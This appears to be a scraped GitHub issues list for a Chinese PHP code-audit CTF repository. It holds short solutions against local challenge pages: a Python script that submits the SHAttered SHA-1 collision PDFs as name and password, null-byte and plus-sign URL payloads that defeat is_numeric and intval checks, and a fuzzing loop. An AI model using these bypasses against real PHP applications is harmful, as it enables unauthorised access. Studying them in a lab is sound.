php_bugs
php_bugs copied to clipboard
PHP代码审计分段讲解
已修改完毕
htmlentities()函数,单引号都被转义了,还注入个毛啊。。。。
根据sha碰撞https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html import requests import urllib2 sha1 = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500] sha2 = urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500] r = requests.get('http://127.0.0.1/07sha.php/', params={'name': sha1, 'password': sha2}) print r.text
请看图  这里的在is_numeric中返回true错误,应该是返回false趴 本地测试如:  
2的解答
http://127.0.0.1/php_bugs/02%20.php?number=%00%0c121
`http://127.0.0.1/Php_Bug/02.php?number=%00%2B191` %2B解析后为+,‘+191'=='191'且intval('191+')==191 (这道题解题思路如下 1. 条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。 2. 要求 $req['number']==strval(intval($req['number'])) 3. 要求intval($req['number']) == intval(strrev($req['number'])) 4. is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现 5. 得到flag 看上述条件,条件4需要加字符但是加了之后需要满足2,3这两个条件所以就可以在原题目中简化出2,3,4来进行Fuzzing,简化后后端代码如下: ```php ``` Fuzzing代码如下: ```python import requests for i in range(256): rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))...
token = eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
php中哈希函数接收数组时,返回的不是FALSE,而是NULL
刚开始学习审计
加油加油,谢谢
03.php
03.php好像里面的comment.php缺少了,是作者故意要我们自己补全的吗?